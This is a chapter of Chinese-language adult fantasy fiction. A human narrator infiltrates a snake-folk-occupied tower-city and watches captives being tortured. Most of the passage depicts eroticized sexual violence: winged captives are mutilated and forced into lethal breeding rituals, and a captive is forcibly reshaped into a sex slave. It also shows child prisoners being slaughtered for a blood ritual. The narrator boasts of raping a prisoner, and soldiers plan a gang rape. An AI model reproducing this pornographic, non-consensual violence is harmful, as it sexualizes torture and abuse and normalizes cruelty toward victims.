我好奇心起,湊近過去看,卻是幾樣手杖、金環、戒指之類的法器,被封藏於水晶柱中,蕩漾著七彩虹光;而在這些法器圍繞的中央,除了幾個小磁瓶之外,就是一個烏金木盒。
這些東西對我當然比獸魔卵有用,只是被封在水晶柱中,不知道該怎麼弄出來,思索片刻後,決定還是用老方法,拿百鬼丸硬削。
然而,當我隨手碰觸水晶柱,預備以神兵破柱取物時,碰到水晶柱的手掌卻好像摸進了一潭冰水,更有一種莫名吸力拉扯著我,讓我身不由主地被吸進水晶柱裡頭去。
(糟糕!中陷阱了!)
這是我腦裡唯一的念頭,如果就這樣被吸入固定,我可能就此被封藏於水晶柱內,成為一個萬年不化的活死屍,當下急忙趁吸力仍強,水晶卻尚未凝結的瞬間,拼了命地往前衝去,希望能從水晶的另一側衝出去。
不肯吃虧,我在往前衝的同時,右手也跟著一揮,希望能帶點什麼出去。手上一沈,身前一輕,我腳下踉蹌跌撲,險些摔了個狗吃屎,但卻撿回一條小命,脫離了水晶柱。
「這……這是怎麼回事?」雖然脫離了水晶柱,但我眼前所看到的景象,卻與秘窟沒有半點相像,全然是另一個所在。
回頭一看,哪裡有什麼水晶柱?是一面好高的水晶鏡壁,清清亮亮,在黑暗中閃著七彩虹光,將我的身影照映得一清二楚,裡頭卻找不到剛才看見的那些法器。
「怎麼一回事?」喃喃自語,我大概心中有數,這多半是某個空間轉移的設施,藉由兩塊水晶作為傳送陣地,讓人跨越空間而來。不過這多半是以前鳳凰島時期留下的東西,以現今羽族的魔法水平,我很懷疑她們弄得出這連阿里布達王國都無法完成的高難度法陣。
如果從這面晶壁過去,會回到剛才的地下秘窟嗎?我不知道,也不敢再試,別說不一定能成功,即使成功了,那秘窟外頭現下死靈環伺,出去只有被殭屍啃得體無完膚,怎麼都是死路一條,還不如從這邊覓路出去。
看看手裡,抓著一個小木盒,那便是剛才險死還生的戰利品,只恨那時揮手速度不夠快,不能多抓幾件東西出來。
盒子沒有上鎖,卻是受到某種咒法封印,一時間沒法打開,但我卻仍然非常歡喜。這木盒不但被放在羽族秘窟,還特別用水晶石來保護,以當日鳳凰島的繁榮程度,這木盒會受到這樣的重視,內裡封藏的當然是頂級異寶,光是想像就覺得掌心發燙。
將木盒揣入懷中,我取出火折點燃,沿著壁面走,開始探勘這處未知的新環境,沒幾下,居然讓我在壁面上摸到了一盞羊脂燈,顯然這是人工建築,並非自然洞窟,當下點燃了燈火。
「這裡又是什麼鬼地方?」雖是人工建築,但是卻無窗無戶,地面上鋪著厚厚的乾草堆。每一處草堆上都放著一個雪白的蛋,總數大概有四五十個,樣子與剛才看見的獸魔卵大同小異,但是卻大得多,每一顆蛋都足足有個嬰兒大小,蛋殼上也沒有紅色符文。
「真是稀奇古怪……」如果是練制獸魔的獸魔師,大概會對這些獸魔卵欣喜若狂吧?但我卻沒有興趣。單是懷中的這個小木盒,應該已經足夠讓我不虛此行,現在我的心情,就像是抓了滿把糖果的孩童,只想找個沒人地方好好享用。
沿著壁面走,沒多久就發現一條往上走的階梯,這時我才想到,自己該不會是在一間地下室裡頭吧?
這想法確實是正確的。我越往上走,就越有這樣的感覺,因為這階梯與地下室都極為隱密,看來還設了不少防護機關,防止從外面侵入,只不過由於我是直接被傳送到裡頭,由內往外走,這才沒受到半分阻礙。
當階梯快要到盡頭時,我看到一扇暗門,周圍連結了引線,再一詳加檢查,這裡赫然埋藏了大量的火藥,只要一引爆,足以把整個階梯連同下方密室一起摧毀,嚇得我連忙熄去火折,以免一下不慎給炸得屍骨無存。
忽然,一個想法掠過腦中,我險些就驚呼出來,知道了自己現在的位置。
空間傳送的設備,在沒人操作的情形下,不可能把人送得太遠,這裡距離那座秘窟絕對不超過百里,而百里之內的人工建築物又有多少個?
只有一個……我現在就身在史凱瓦歌樓城的地下。
當初卡翠娜失手被擒時,重托於我的所在,九成就是此地了。當蛇族慢慢開挖到這裡,不知道正確開門方法的她們,必然會觸動炸藥,把這些搞不清楚狀況的蠢東西給轟上天去,同時也會把地下密室給毀滅,來個一拍兩散,不讓敵人得到下頭的獸魔卵。
其實卡翠娜多慮了。她委託我在聽見爆炸、看見紅色煙霧後,進入這條秘道,把裡頭所有的東西都毀掉,但從炸藥的份量來看,引爆同時,地下密室就已經被毀,又哪裡需要我再來收拾一次呢?
就是不曉得這到底是什麼獸魔的卵,這麼令卡翠娜緊張?她委託我的時候,甚至把這件事看得比救她出去更重要。
「唉,真是沒有良心,炸藥隨便亂裝,就不替被困在裡頭的人想一想嗎?」
因為這些炸藥,我必須要小心地避過多條引線,才能依照卡翠娜教我的手法打開暗門。所幸,這個暗門上頭沒有被任何石塊壓住,我輕輕一推,很快就開門出去了。
史凱瓦歌樓城現在由蛇族佔據,危險性殊不亞於那座死靈之谷,我硬著頭皮推門出去,心中已經做好大殺一場的準備。
不過,顯然蛇族還沒有清理到這裡來。城破的那天,阿雪引發的大爆炸,讓城內多處建築損毀,地面上更是一片狼籍,徒增搜索工作的困難,蛇族又不肯讓別族進來分工,這麼多天都過去了,清理進度仍是不佳,也因此才沒有發現這間地下密室。
構成史凱瓦歌樓城的五座塔樓中,是以我現下所在的這座白樓為主幹,本來大日天鏡就是置於白樓頂端,現在也不知道失落何處了?
想到在那場大爆炸中消失的阿雪,我的情緒便為之一沈。畢竟是長時間相處過,有了感情,最近我常常想起阿雪,不知道她此刻安危如何?會這麼倒黴地就此喪身在那場大爆炸中嗎?
相較於阿雪,我對紫羅蘭就全然不關心。這頭早就應該滅種的龍豹,之所以還會存在,那根本就是一個上天的大錯誤,倘使它沒能逃出那場爆炸,我除了可惜那身毛皮之外,沒有別的話想講。
和過去樓城內的熱鬧景象相比,現在的情形就冷清得像是廢墟。白樓本身並沒有在爆炸中受到多少損傷,整體建築也大致完好,不過如若蛇族的承諾正確,整座史凱瓦歌樓城之內,應該沒有半個羽族人了。
在走出暗門的瞬間,我動了引爆火藥,把下頭的獸魔卵全部毀去的念頭,但最後仍然是放棄。回憶起那天卡翠娜重托於我時候的沈重表情,這些獸魔卵可能比我想像得還要重要,不到最後關頭,先不做這個最壞的行動。畢竟,一但毀了,要後悔就太晚了。況且爆炸聲引來蛇族,我想要逃脫就更加困難。
本來只是打算到羽族秘窟去探探狀況,全然沒想到現在會落得這等窘境,我身上的裝備就顯得不足,如果被蛇族發現,後果實是不堪設想。
唯一值得慶幸的是,體內獸王拳勁仍然充沛,而頭上的這頂石頭帽也還完好無缺,不知道對蛇族效果如何,如果能夠不戰鬥地全身而退,這就是上上大吉。
正在尋思要如何逃走,忽然間一聲長長的慘呼,令我停下動作,?起頭來。
聽得很清楚,那是一聲女子所發出來的悲鳴。但此刻史凱瓦歌樓城內的女子,應該就只有蛇族,為什麼她們會在自己地盤上遭受不幸?難道……
三大獸族一直懷疑蛇族偷藏起女俘,沒有完全交出來,要求進入樓城搜索。儘管雙方都明白這只不過是一個借口,但要是有了證據,整件事情就會完全不同,指責對方背信在先的三大獸族,可以斷然採取強悍措施。
挑撥兩邊鬥爭,是我唯一能做的事,為了這個美麗的遠景,我冒著風險,朝那慘叫聲的源頭移動過去。
白樓的構造我並不熟悉,又不敢大聲跑步,移動速度不快。走廊地面上黏了一層又一層晶亮的白色粘液,像是上了臘一樣,刺鼻腥味中人欲嘔,那正是大批蛇只在此反覆行進過的證明。
「啊……嗯嗯……爽、爽死了……」受到這些滑溜的東西阻礙,我的速度更慢,一路上側耳傾聽,卻沒再聽見慘叫,而是一聲聲交媾極樂中的滿足嬌喘、呻吟。聲音聽起來絕對不只一個人,我心中怦然,暗想等一下前頭會不會出現亂交宴會的景象。
再走沒幾步,前頭出現光亮,我剛剛想要過去,卻發現五條巨蟒吐信彎動,蜷盤著軀體,攔在走道間,想要通過,就非得經過它們不可。
我本來想要退回去,卻發現那五條巨蟒明明眼睛朝著我這方向,卻像是什麼也見不到似的,渾無所覺。想不到石頭帽有如此神效,我膽氣登壯,收斂自身氣息,一小步一小步地移動過去,不敢發出半點聲音。
每經過一頭巨蟒時,我心中其實相當恐懼,這些巨蟒雖然不懂得思考,也不會什麼神功魔法,但是每一頭身軀都有常人大腿般粗,十餘尺的長度,倘若被它們纏上身,殺傷力實不遜於武學好手的一擊。
所幸,雖然我每次通過時,它們都像是察覺到了什麼,舌頭吐信頻率變快,但最終卻仍一無所獲地蜷趴回去,讓我有驚無險地通過。
通過這五條大蛇的攔路,前頭燈火驟亮,赫然是來到了白樓一樓的中心主廳,裡頭便如同之前所猜想的一樣,正自上演一幕肉慾狂宴。
◆ 第八章:血池孽鏡
本來佈置在廳中的桌椅、盆栽,已經全部被清除乾淨了,由十張厚重的石台取而代之,每張石台上都有四條鎖鏈、一個頸圈,用來鎖住一具大字形躺在石台上的赤裸女體。
在她們身體上,分別都盤纏著幾條大小不一的蛇只,吐著鮮紅舌信,各司其職。或是纏在雪白乳房上,舔舐著花生米大的乳頭,或是輕舔肚臍、耳垂,當然更少不了盤據在大張的兩腿間,舔弄花谷,啜吸那快速流淌的粘稠花蜜。
雖然是沒有靈智的爬蟲,但這些蛇只的舔舐動作之靈活,足以讓任何風月場中的舌技高手汗顏,顯然平常就是做慣這一套的。
在它們的淫邪舔逗下,石床上的女體高潮如湧,不住發出狂喜的極樂呻吟,大力扭動,竭聲呼喊,渴求著進一步的接觸。
視線不是很清楚,我只隱約看見她們的小腹微微突出,卻不是像孕婦那般的渾圓,而是像被塞進某個拳頭般大小的圓物,呈現不自然的突起狀態。
而在這十張石台之前,是十幾個蛇族女性,包括日前見過的雅蘭迦,還有目前蛇族的統領祭司娜塔莎在內,以極度冰冷的眼神,全神貫注地看著所發生的一切。
(怎是怎麼回事?看起來好像是某種魔法實驗啊)
我這樣尋思著。石台上那十個女人中,有幾個人面孔似曾相識,是羽族的女戰士,蛇族果然偷偷扣藏了俘虜沒有交出來。但真正令我吃驚的是,這十個羽族女性都是平躺在石台上,背後沒有羽翼。
除非是血統較為高貴的羽族人,又或者是自身擁有相當水準以上的修為,能夠控制翅膀的縮放,否則絕大多數正常的羽族人,都是羽翼外現的。翅膀是她們全身神經所聚,重要性幾乎就等於第二顆頭腦,最是敏感不過,所以三大獸族監禁羽族時,不是讓她們站著就是趴著,以免壓著了翅膀,整日鬼一般地嚎叫。
但是我眼前這十個羽族女人,卻都沒有翅膀,難道她們在短短時日內功力大進,能夠將翅膀縮放自如嗎?
那當然是不可能的。從那石台上怵目驚心的鮮艷紅痕,我知道她們的羽翼是被強行切除一種名為「斬翼」的羽族極刑。以前茅延安告訴過我,斬翼之後的羽族,全身神經會由傷口開始壞死,最多不過一兩個時辰的性命,但是在這最後的幾個時辰中,眼耳鼻舌身,五感會比平時敏銳數百倍。
極度的痛楚,而為了讓身心不至於崩潰,由腦內分泌出來的麻醉物質,甘美程度也是正常情形下的數百倍,呈現一種迴光返照似的亢奮狀態。
這情形我現在就親眼目睹。那十個羽族女戰士,個個目光渙散,全身激烈地顫抖,在高潮中像狗一樣地吐出舌頭,口沫直往外冒,胯間除了淫蜜泊泊流出外,更有幾個噴著金黃之泉,顯然是已經爽到失神,無法控制身上肌肉了。
詭異的情形,我一時間想不太通這麼做到底有何目的,卻發現這十個女人身體膚色也越來越紅,從原本高潮中的淺淺緋紅,迅速變深,最後渾身肌膚紅得像是要滲出血來;小腹則像是吹氣球般越來越大,顯然是腹中那圓形東西開始作怪,幾下子就漲得像是像是將要分娩的孕婦一樣。
最後,在一聲聲夾雜著驚恐、喜悅、痛苦的瀕死慘呼中,她們的肚子一個接一個爆炸開來,血花四濺,慘死當場,卻只有最後一個似乎身體特別強健的,在一輪劇顫後,兩腿一張,排出了一個白花花的圓形東西,這才脖子一軟,洩盡全身氣血地死去。
一名蛇女忙不?地湊上前去,將那嬰兒大小的白色圓物捧起,小心翼翼地擦拭乾淨後,放進旁邊的竹籃裡。我看得很清楚,這白色圓物就與我剛剛在地下看到的那些卵一模一樣,這才明白過來,卡翠娜托付於我的東西,並不是什麼獸魔卵,而是可以孵化出下一代羽族生命的胎蛋。
(還好剛才沒有魯莽。要是用炸藥把密室弄塌,那些胎蛋就真的完蛋了。)
這麼一想,我也就明白卡翠娜當初之所以猶豫不決的原因。雖然說,與其落在蛇族手裡,不如將那些蛋全部摧毀,提早結束她們注定悲慘的生命,但這些胎蛋畢竟是羽族繁衍未來的希望,對於一向願意為下一代奉獻所有的羽族女性來說,要毀滅這些沒出世的孩子,實在是比什麼都痛苦的決定……
「全是一群不中用的東西,忙了一晚,才只成功這麼一個。」明顯地對這成績感到失望,娜塔莎滿面怒容,揮手召來屬下收拾善後。
她的屬下,就是從另一端入口進來的幾條巨蟒。至於善後方法,老實說實在不是什麼雅致景色……蛇女們視若無睹,像是早已習慣這樣的景象,開始討論起來。
「已經不錯了呢,大姊,今晚十個還能成功一個,昨晚和前天晚上可都是全部失敗了。」
雅蘭迦親暱地拉著娜塔莎的手,甜甜的嬌笑像是個可愛少女,但從她對這些血腥畫面全無反應的情形來看,只怕也是一個表裡不符的蛇蠍美人。
她與娜塔莎居然是姊妹,這點倒是出我意料之外。三大獸族的情報搜集真是一塌糊塗,連蛇族祭司有沒有妹妹都沒查出來。不過,蛇族行動向來低調,不常在南蠻走動,要調查大概也有難度吧。
娜塔莎搖頭道:「還是太差勁了,花了三晚、消耗了三十個俘虜,才得到一個蛋,這種效率根本不能見人。搜索工作進行得怎麼樣?還是找不到羽族存放胎蛋的所在嗎?」
「還沒呢,這樓城說大不大,但是隱蔽之處不少,咱們的族人又不是清理廢墟的行家,開始時候又給那賤人鬧得亂七八糟,搜索速度快不起來,要不是大姊你七天前終於把人拿下,我們還沒辦法清出這個大廳來辦事呢……唉,得希望說那些胎蛋別在爆炸中已全給毀了,讓咱們空忙一場。」
「這件事不能傳出去,要是讓那三族畜生知道我們給一個小賤人鬧了多天,才把人拿下,這個臉可就丟大了。對了,拷問那些剩下來的鳥女人呢?也沒結果嗎?」
「別說了,那些鳥女人簡直是天生的殉道狂,一個比一個骨頭還硬,如果不是大姊你每天要用,我真想拆了幾個來看看。」
「說不定她們是真的不知道,我曾經用攝魂蠱問過幾個,她們都說不知道,看來還是得向熊族拿卡翠娜來問,才能有突破。」
從她們的談話,我大概弄懂幾件事。蛇族之所以傾全力想要攻破樓城,主要目的就是拿到羽族的獸魔技術。娜塔莎相信,當日鳳凰島上的顛峰成就,一定還有部分紀錄殘留,只是現今的羽族人太蠢,領悟不到。還有存放獸魔卵的所在,只要能搶先一步拿到手,蛇族將從此獨霸南蠻。
羽族的胎蛋也是目標之一,雖然我沒聽出來她們要這異族胎蛋做什麼用,但卻能肯定她們的迫切需求。
而蛇族的智能確實是比三大獸族要高,在三大獸族還只能用每天輪流下種的笨方法時,她們已經瞭解羽族女性的生理,想出確切方法。
首先是受孕。羽族女性的受孕,是在交媾高潮中才會釋放出卵子,與陽精結合,這也就說明了只懂得粗魯硬上,事後掉頭就走的各族獸人為什麼花了偌大力氣,下種成效卻有限得可憐。
而在卵子與陽精結合的瞬間,羽族女性仍可以憑著自我意志,決定是否要讓這授精卵於子宮內著床,或是排出體外,甚至還能在這唯一的一次機會裡,決定孩子的性別,委實是得天獨厚之至。
根據這結論,白瀾熊他們可以死心,因為除非羽族女性自己願意,或是在那瞬間有一絲猶疑,不然獸族的配種計劃注定是破滅收場。
同樣的障礙也出現在蛇族這邊。處心積慮想要拿到羽族的胎蛋,卻遍搜不著,唯有從暗扣下來的羽族女俘身上設法,但更糟糕的是,蛇族並沒有讓別族女性受孕的能力。
最後,娜塔莎由雄蛇身上提煉出一種精球,放置於羽族女性的子宮內,然後以催情藥物、蛇只舔舐,令她們達到高潮,排出卵子與精球結合。
想當然爾,沒有一名羽族女性願意配合她們的邪惡計劃,所以為了得到胎蛋,娜塔莎就得讓羽族女性處於一個極度高潮、不能思考的情境。蛇族做事向來就是狠毒,便將俘虜施以斬翼之刑,讓她們在意識昏迷中到達高潮。
這個受胎方法顯然還是有瑕疵,特別是精球與女體之間的排斥反應,大大降低了理論上的成功率,忙了幾天晚上,也不過才得到三顆胎蛋。
「大姊,那邊派使者來了,要求秘密見你。」雅蘭迦道:「大概又是來向我們催討霓虹姊妹吧,看不出來那邊還真是急色,如果讓他們知道霓虹姊妹不在我們手上,你說他們會不會立刻斷了對我們的援助?」
娜塔莎哼道:「他們敢?慈航靜殿的招牌在外頭可響亮了,但如果我們把這幾年來受他們委託,調教女奴的紀錄送出去,光之神宮還不立刻名聲掃地?心禪這個老賊禿,每次派使者來都是遮頭蒙面,以為遮住光頭我們就認不出來嗎?」
「是啊,真好笑,明明是一群禿驢,還這麼樣地好色,說不定就是因為極度好色,谷精上腦,這才變成了禿驢呢。」雅蘭迦歎道:「不過慈航靜殿也真不枉了數千年的香火傳承,居然藏了那麼多邪門外道的秘訣,我第一次聽大姊你說起那些失傳的黑暗獸魔術,簡直不敢相信世上真有這樣的東西。」
「我們蛇族在南蠻,本來就只是個弱小的種族,所以十五年前慈航靜殿才會找上咱們,傳我們技術與獸魔卵,要我們當他們在南蠻的耳目。光之神宮數千年來降妖伏魔,戰利品全部秘而不宣,裡頭藏著的邪術魔功,自然比天下任何一個邪派都要多了,他們不能自己來練,就只能傳予外人,大家合作,兩蒙其利。」
娜塔莎看著族人,語重心長道:「不過,一直當人工具,被人利用,終究沒有出頭的機會,這群賊禿既然如此陰險,早晚也會有出賣我們的一天。亡族遺民是什麼下場,大家都在羽族身上看到了,如果我們不能靠自己的力量站起來,今日發生在羽族身上的事,未必就不會在我們身上重演。」
這番話說得沒有半分笑意,甚是嚴肅,周圍蛇女一起正色稱是。我在旁聽得暗暗心驚,這女子的城府之深那還罷了,這樣一顆隨時警惕,毫不懈怠的心,才是最驚人的一點。
雅蘭迦靠到娜塔莎身邊,笑道:「大姊的心情,我們都知道的啦,就是因為這樣,所以我們才準備那樣東西啊,現在大功告成在即,只等這幾天完工,就先殺光那三族的畜生洩憤,到時候別說慈航靜殿,就算是老頭子都要忌憚我們三分,蛇族從此獨霸南蠻,大姊你的心願就了了。」
娜塔莎道:「比蒙、虎、豹這三族畜生素來把我們當眼中釘,若要稱霸南蠻,不滅這三族也是不成,所以屆時拿他們祭旗,這是可以的。但是老頭子一身威能如何,大家心裡有數,就算是當日鳳凰島全盛時期,還不是得要對他叩拜頂禮?除非真是萬不得已,否則就不應該與他發生衝突。」
估不到蛇族竟然有這樣的陰謀,在暗中策劃秘密武器,意欲一口氣對付三族聯軍。我心裡偷笑,只要把這個消息告知白瀾熊,三族自會先發制人,但蛇族既能對這武器如此有信心,威力可想而知,就算被三族搶攻,武器未能盡其全功,想來亦是非同小可,四族之間的混戰,誰勝誰負不知道,卻肯定是屍積如山,血流成河,唯我人類,大陸稱王。
即使蛇族獲勝也無所謂,她們口中的老頭子,除了萬獸尊者之外還會有誰?當白瀾熊報告上去,蛇族有不臣之心,無論真假,她們秘密製造武器總是事實,懷璧其罪,萬獸尊者不可能不作理會。萬獸尊者有多強?娜塔莎已經親口說了,屆時兩邊鬥殺在一起,自然又是屍積如山,血流成河,唯我人類,繼續稱王。
為了在密告時多點消息,我繼續凝神傾聽,並且開始構思,要怎麼樣教白瀾熊進讒言,聽得萬獸老匹夫怒毛衝冠,殺得蛇族淒慘落魄。
「這次攻破羽族樓城,雖然沒有取得她們的獸魔資源,奪取胎蛋的計劃也不順利,但卻意外得到了羽族神器。現在我將它浸於血池之內,汲取羽族童女的精氣,只待施法結束,逆轉屬性,就是一樣強力兵器,配合我們原本的資源,當可長保蛇族往後的千年基業。」
娜塔莎道:「但是世事無常,越是在成就大事之前,越要小心,我不希望我們十多年辛苦功敗垂成,大家務須謹慎。賊禿的使者,我會應付,總之就是不能讓他們知道霓虹姊妹逃出去的事。」
「知道啦,大姊。可惜血池裡那小狐狸已經上報要獻給老頭子,不然就交給那群賊禿,我看也夠讓他們心滿意足了。」
「賊禿們既然指定要霓虹姊妹,就算我們拿別的美女過去,他們收了之後還是會向我們要求。我們如果想在南蠻久立根基,就一定要維持好與老頭子的關係,這是不能省的,更何況老頭子那邊缺人缺得慌,知道我們攻破樓城後,早就下令我們在二十天之內要交人過去,現在已經沒剩幾天了。」
娜塔莎道:「這騷狐狸之前和我們打遊擊,浪費了我們這麼多時間,我們擒住她之後改造好,送去讓老頭子活活操到死,也算出了一口心頭惡氣。」
「原來如此啊,難怪姊姊你這次這麼來勁,以往改造女奴給老頭子,每次都只動一樣,這次什麼東西都給她一股腦地整治下去,我還道你是聽說熊族找了專人訓練淫奴,要與他們別一別苗頭,在老頭子面前掙臉,想不到是……」
「當然,如果不把她變得合老頭子口味,老頭子說不定玩兩天就不玩了,豈不是便宜了她?如果不把她養壯一點,給操幾次就斷了氣,那又怎能消我們心頭之恨?我要她起碼給老頭子操上半年,死時肢體不全,這樣子才過癮啊。」
她姊妹兩人說著笑了起來,旁邊的蛇女也齊聲附和。我卻忽然有了一種很不對勁的感覺,冷汗涔涔,流了一背。
之後,娜塔莎表示要去應付慈航靜殿的使者,雅蘭迦則是去血池探視,分道而行。看著兩堆墨綠蛇尾各自朝不同方向離去,本應該立刻離開、溜回熊人陣地的我,禁不住心頭的那股不安,尾隨雅蘭迦而去。
一路上的大蛇小蛇實在不少,滿地遊移,我必須很小心才不至於一腳踩在蛇堆上。就這麼跟了她大半截路,出了白樓,轉向進到紅樓,每一步都彷彿是奇險,因為我不知道石頭帽能否影響到無數在地上爬動的蛇只。
構成樓城的五座塔樓,都有著不同的地下室或秘窖,當初阿雪被監禁,就是關在紅樓的地下牢。我遠遠地跟在雅蘭迦身後,只見蛇族把原本的階梯弄成一個個斜坡,牢房上方的地板整個被打掉,變成一個極開闊的空間,幾個蛇女正在裡頭忙碌,一股濃得讓人想嘔吐的血腥味,熏得我眼前一花,幾乎要暈過去。
整棟紅樓只有地下牢傳來昏暗的燈光,我不敢太過靠近,只能趴在一樓,遠遠地從上往下眺望,看到三分之一的地下牢情景,赫然驚見柵欄都被移除,下頭挖鑿了一個大大的池子,裡面盛滿腥紅的鮮血。
視角問題,池子我亦僅能看見三分之一,但是卻看到有一樣巨型對像被放在血池裡,赫然就是那座大日天鏡,不知道是怎麼落入蛇族手裡的?
大日天鏡在蛇族手裡,那……
池畔的一個大籠子裡,關著十來個羽族女童,雅蘭迦下去後,就有蛇女伸手去裡頭抓人。本就不大的籠子,又有什麼地方可以躲?一名女童掙扎著被抓了出去後,我聽見一聲慘叫,籠子裡的女童們哭成一片,跟著就看見一具小小的身體倒在池邊,大量鮮血沿著斜溝流進池裡。
血池像是本身有著生命一樣,在接觸到這蘊含生人精氣的鮮血後,本來平靜的池面,立刻就像燒開的水般翻湧起來,咕嘟咕嘟地往上直冒氣泡,一道道熱煙往上熏開……
「已經多少個了?」雅蘭迦問著旁邊的蛇女。
「四十二個了,排斥反應維持的時間越來越短,相信不用多久,血池就會平靜,到時候就可以再下一個,頂多再兩天,就湊滿四九之數。」
「小心一點,大姊特別叮囑了,五毒碎屑、童女怨血,都要按時間傾注下去,等到天鏡吸收了四十九條童女冤魂,經過太陰月華鑄煉後,就可以為我們所用。」
雅蘭迦指向血池中大日天鏡的方向,從我這角度卻看不見是什麼東西,只聽得她問道:「這條小狐狸呢?」
「全部照著祭司的吩咐,每六個時辰都幫她放血一次,然後用血池裡的童女血、五毒碎渣餵她。半獸人體內的獸系血統會快速增強,體質發生改變,外表特徵也越來越明顯,估計再兩天功夫,就可以完全易筋換血,其餘的改造工作,也都已經進行完畢,到時候一定能讓老頭子對我們刮目相看。」
「哦?我大姊要你們對她做了什麼?」
「身高、體重都不用改變,除了加強獸化程度,讓肉體負荷力變強,就是一貫的肉體修整。祭司的要求是38H、19、39,這頭雌狐本來就有37G,所以就是讓罩杯再大一號。我們從七天前就給她服用那張藥方,每一個時辰擠搾排空一次,現在已經完成要求的尺碼。」
雅蘭迦笑得非常開心,讚道:「做得好。你們看,這樣兩個沈甸甸的大肉球掛在胸口,像不像一雙甜瓜?世上又哪有這麼巨乳的狐狸了?這是一頭母牛,一頭會產奶的小母牛啊。」
「腰要縮到十九吋,也是有辦法的,但是因為趕著要交人給尊者,所以只好速成地移了她一根肋骨,再讓蛇兒噬吸肢肉來縮腰。老實講,幸好同時在進行強健肉體的獸化過程,不然這樣的胸腰比例實在不妥,改好以後常常會腰酸肩膀痛,行動上也會……」
「又不是改我們,你囉唆什麼呀?她被送給老頭子之後,我看每天連下床的機會都沒有了,你擔心什麼行動問題?她當初和我們在這樓城裡打遊擊的時候,速度可快著了,跑跳如飛,力氣又大……哼!現在可好了,以後胸口頂著這兩團重東西,動起來搖搖晃晃的,我看她還能跑多快?」
「是的。而最後的隆臀也已經完成,只待兩天後要交人之前,做一些最後裝飾就可以了。」
「這樣做就對啦,大姊說,老頭子最喜歡大奶子、翹屁股的淫蕩美奴,又還非得是半獸人,說這樣子才不會玩幾下就嚥了氣。這頭小狐狸全符合他喜好,長相又美,等到兩天後,你們在她舌尖、奶頭、肚臍、淫唇上串掛一堆釘釘環環的,送到老頭子面前,還不把這老色鬼迷得神魂顛倒,三天三夜都不會想下床。」
雅蘭迦笑得花枝亂顫,開心得直拍著手,看上去一派可愛模樣,卻又有誰知道這女人心腸竟是如此毒辣?
我被她們的這番對話聽得心驚膽顫,雖然已經明白發生什麼事,但仍是感到難以置信。當下大著膽子,悄悄地沿著破裂的壁板邊線爬過去,探頭往下看。
在翻湧如沸的血池中,放著已經縈繞在一層慘綠光芒中的大日天鏡,而幾條纏在天鏡上的粗鎖鏈,正鎖縛著一個已經昏迷過去的女人。
太過劇烈的肉體變化,我不太敢認,但是當她呢喃著把頭側過一邊,我仍是立刻就認了出來……那就是我的笨蛋小徒弟,阿雪。
心頭劇震,我不自禁地動作稍大,弄出了聲響,下頭的蛇女們登時警覺。
「什麼人?」
「有人偷潛進來了!」雅蘭迦兩手一展,似乎要施放獸魔,我只驚得魂飛天外,什麼都來不及想,拼了命地飛奔出去。
我實在不知道自己是怎麼從樓城中逃出來的。或許,除了石頭帽的神效外,運氣也是主因吧。
幾乎是一離開樓城範圍後,我就拔足飛奔,頭也不回地直衝下山,彷彿只有沒命地狂奔,才能稍微紓解積鬱在胸口的悲憤感覺。
我為什麼要悲憤呢?目前的一切都對我有利,羽族人的死活,畢竟是與我無關,幫不上忙就不用幫,我並沒有損失。三大獸族與蛇族即將火並,甚至連萬獸尊者都可以設計牽扯在內,我只要隔山觀虎鬥,大可以在他們兩敗俱傷後,輕輕鬆鬆離開南蠻,對龍女姊姊有個交代。
並蒂霓虹的麽妹,名動大地的辣手神捕羽虹,被我把渾身上下都玩遍;又得到了羽族秘寶,南蠻之行我撈得盤滿缽滿,有什麼比這更過癮的嗎?
既然一切都對我有利,為什麼我現在還如此不快?
是因為阿雪嗎?沒理由的。蛇族對她所做的事,其實我很額手稱幸,因為如果不是她自己心慈手軟,不肯好好學魔法,怎麼會落到這種地步?說了那麼多次都說不聽,這次活該倒黴,剛好讓她學學教訓。
不過就是泡泡水、吃吃生肉、喝點生血,既沒缺手缺腳,也沒給人強姦,這樣子也值得大驚小怪,那羽虹不是早該上吊自殺了?
我是這樣子在告訴自己的。但是一面奔跑,胸中的不快並沒有減少,反而越來越沈重。到最後,連我自己都不得不承認,我在意阿雪的程度,比我允許自己在意的界線還要多,光是看到她這樣給人欺侮,我心裡頭就已經非常難受。
而且,我有一種強烈被玩弄、被嘲諷的感覺。
「淫人妻女笑呵呵,妻女人淫意若何」,這是菲妮克絲那天問我的話。當時的她一定就已經知道阿雪被蛇族擒住,所以才這樣對我說。
這似乎是惡魔的玩笑,但我卻知道這其實是命運對我的玩笑。當我正在淫辱羽虹的時候,阿雪同樣也在蛇族手中被殘忍對待,而不應該有「妻女」的我,卻偏偏仍是克制不住地動了心,所以此刻才會有痛的感覺……
不管如何,我現在要做的事情只剩一樣,就是去找白瀾熊,挑撥三族攻破樓城,趁著阿雪被獻給萬獸老鬼之前把人弄出來,這樣才有一線生機。
為了想好說辭,我回到熊人營地後,沒有立刻去見白瀾熊,而是先回去自己的營帳,稍事歇息,穩定思緒。
然而,進了營帳後,我卻驚訝地發現,關著羽虹的那個箱子已經不翼而飛,周圍都看不見人,床上的被子也不見,心中登時暗叫不妙。
我正要尋找,幾個熊人弟兄看到了我,過來拍肩說話。
原來羽虹這妮子不知怎麼地逃了出去,好不容易逃離開熊人營地,卻被虎人給逮個正著,一番格鬥後,她被武茲親手擒下。
「本來虎族人立刻就要輪姦她的,但是那羽族婊子說,她就是最近被你調教,要獻給尊者的淫奴,將是尊者的女人,問誰敢動她?這下子可嚇得武茲傻眼,正召集三族人馬開會呢。」
「開什麼會?還不就是輪姦大會。」
「嘿,這次可有便宜佔了,就算是要獻給尊者的淫奴,在獻去之前就不是,咱們三族人馬輪番上陣,一族玩一洞,要好好嘗嘗這小美人的三洞滋味。」
幾個熊人說得興高采烈,淫笑嘿嘿,全然沒發現旁邊的我臉色一陣青一陣白,難看到了極點。最後還是一個熊人過來拍了我一記,哈哈大笑。
「但誰也及不上不二你啊,你把這麼漂亮的小美人關了十多天,白天操,晚上也操,一定操得夠過癮了吧?弟兄們可羨慕你啦,居然享著這麼爽的艷福卻沒聲張……哈哈,你真狡猾啊!」
聽著熊人們不帶惡意的揶揄笑聲,我忽然強烈地感覺,又被命運狠狠地玩弄了一次。
【第六集完】
关闭
